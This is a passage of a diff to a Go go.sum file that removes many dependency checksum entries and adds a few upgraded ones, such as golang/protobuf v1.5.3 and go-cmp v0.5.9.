-github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= -github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -189,9 +105,6 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -207,11 +120,9 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= -github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= +github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= +github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= @@ -222,18 +133,13 @@ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -244,211 +150,50 @@ github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= -github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= -github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= -github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= -github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= -github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= -github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= -github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= -github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= -github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= -github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= -github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= -github.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= -github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= -github.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE= -github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= -github.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= -github.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4= -github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= -github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= -github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= -github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/influxdata/influxdb-client-go/v2 v2.12.2/go.mod h1:YteV91FiQxRdccyJ2cHvj2f/5sq4y4Njqu1fQzsQCOU= -github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= -github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= -github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= -github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= -github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA= -github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE= -github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s= -github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o= -github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY= -github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI= -github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono= -github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= -github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE= -github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c= -github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= -github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= -github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= -github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= -github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= -github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM= -github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= -github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= -github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA= -github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E= -github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg= -github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc= -github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw= -github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM= -github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4= -github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y= -github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM= -github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc= -github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs= -github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ= -github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= -github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= -github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= -github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk= -github.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= -github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= -github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pretty 